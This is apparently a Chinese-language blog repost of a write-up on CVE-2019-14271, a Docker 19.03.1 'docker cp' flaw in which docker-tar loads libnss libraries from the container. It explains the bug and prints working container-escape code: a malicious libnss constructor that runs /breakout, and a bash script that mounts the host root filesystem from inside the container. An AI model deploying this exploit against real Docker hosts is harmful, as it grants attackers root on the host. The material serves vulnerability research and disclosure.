docker 複製漏洞,讓滲透更加藝術化

CVE-2019-14271)Docker copy漏洞

一、漏洞簡介

二、漏洞影響

Docker 19.03.1

三、復現過程

Docker cp

Copy命令允許從容器、向容器中、或容器之間複製文件。語法與標準的unix cp命令非常相似。要從容器中複製/var/logs,語法是docker cp container_name:/var/logs /some/host/path。

從下圖所示,要從容器中將文件複製出去,Docker使用了一個名為docker-tar的幫助進程。

docker 複製漏洞,讓滲透更加藝術化

圖 1. 從容器中複製文件

docker-tar是通過chroot到容器,將請求的文件或目錄存檔,然後將生成的tar文件傳遞給Docker daemon,然後由daemon提取到主機的目標目錄中。

註釋:CHROOT就是Change Root,也就是改變程序執行時所參考的根目錄位置。CHROOT可以增進系統的安全性,限制使用者能做的事。

docker 複製漏洞,讓滲透更加藝術化

圖 2. docker-tar chroot到容器中

Chroot主要是為了避免系統鏈接的問題,當主機進程嘗試訪問容器中的文件時就可能會引發系統鏈接問題。如果訪問的文件中有系統鏈接,就會解析到host root。因此,攻擊者控制的容器就可以嘗試和誘使docker cp在主機而非容器上讀寫文件。去年有許多Docker和Podman相關的系統鏈接CVE漏洞。通過chroot到容器的root,docker-tar可以確保所有系統鏈接都可以高效地解析。

但,chroot到容器然後從容器中複製文件可能會引發很嚴重的安全問題。

CVE-2019-14271

Docker是用Golang語言編寫。有漏洞的Docker版本是用Go v1.11編譯的。在該版本中,一些含有嵌入C代碼(cgo)的包會在運行時動態加載共享的庫。這些包包括net和os/user,都是docker-tar使用的,而且在運行時會加載多個libnss_*.so庫。一般來說,庫是從host文件系統加載的,但因為docker-tarchroot到了容器,因此會從容器文件系統中加載庫。也就是說docker-tat會加載和執行來源於容器或由容器控制的代碼。

需要說明的是,除了chroot到容器文件系統外,docker-tar並沒有被容器化。它是在host命名空間運行的,權限為root全新且不受限於cgroups或seccomp。因此,通過注入代碼到docker-tar,惡意容器就可以獲取host主機的完全root訪問權限。

可能的攻擊場景有Docker用戶從另一個Docker處複製文件:

容器運行含有惡意libnss_*.so庫的鏡像

容器中含有被攻擊者替換的libnss_*.so庫

在這兩種情況下,攻擊者都可以獲取主機上的root代碼執行權限。

漏洞利用

為利用該漏洞,研究人員需要先創建一個惡意libnss庫。研究人員隨意選擇了libnss_files.so文件,下載了庫函數的源碼,並在代碼中加入了一個函數——run_at_link()。研究人員還為該函數定義了constructor屬性。constructor屬性表明run_at_link函數在進程加載時會作為庫的初始化函數執行。也就是說,當Docker-tar進程動態加載惡意庫時,run_at_link函數就會執行。下面是run_at_link的代碼:

#include ...


#define ORIGINAL_LIBNSS "/original_libnss_files.so.2"

#define LIBNSS_PATH "/lib/x86_64-linux-gnu/libnss_files.so.2"


bool is_priviliged();


__attribute__ ((constructor)) void run_at_link(void)

{

char * argv_break[2];

if (!is_priviliged())

return;


rename(ORIGINAL_LIBNSS, LIBNSS_PATH);

fprintf(log_fp, "switched back to the original libnss_file.so");


if (!fork())

{


// Child runs breakout

argv_break[0] = strdup("/breakout");

argv_break[1] = NULL;

execve("/breakout", argv_break, NULL);

}

else

wait(NULL); // Wait for child


return;

}

bool is_priviliged()

{

FILE * proc_file = fopen("/proc/self/exe", "r");

if (proc_file != NULL)

{

fclose(proc_file);

return false; // can open so /proc exists, not privileged

}

return true; // we're running in the context of docker-tar

}

查/proc目錄完成的。如果run_at_link運行在docker-tar環境下,那麼目錄就是空的,因為procfs掛載在/proc上只存在於容器的mount命名空間。

然後,run_at_link會用惡意libnss庫替換原始庫。這保證了漏洞利用運行的隨後進程不會意外加載惡意版本,並觸發run_at_link執行。

為簡化該漏洞利用,run_at_link會嘗試在容器的/breakout路徑下運行可執行文件。這樣漏洞利用的其他部分就可以用bash寫入,而非C語言。讓邏輯的其他部分在run_at_link外,意味著在漏洞利用每次變化後無需重新編譯惡意庫,只需改變breakout二進制文件就可以了。

docker 複製漏洞,讓滲透更加藝術化

利用CVE-2019-14271打破Docker

在該漏洞視頻中,Docker用戶會運行含有惡意libnss_files.so的惡意鏡像,然後嘗試從容器中複製一些日誌。鏡像中的/breakout二進制文件是一個簡單的bash腳步,會掛載host文件系統到/host_fs的容器中,並將消息寫入host的/evil目錄。 /breakout腳本代碼如下:

umount /host_fs && rm -rf /host_fs

mkdir /host_fs


mount -t proc none /proc # mount the host's procfs over /proc

cd /proc/1/root # chdir to host's root

mount --bind . /host_fs # mount host root at /host_fs

echo "Hello from within the container!" > /host_fs/evil


分享到:


相關文章: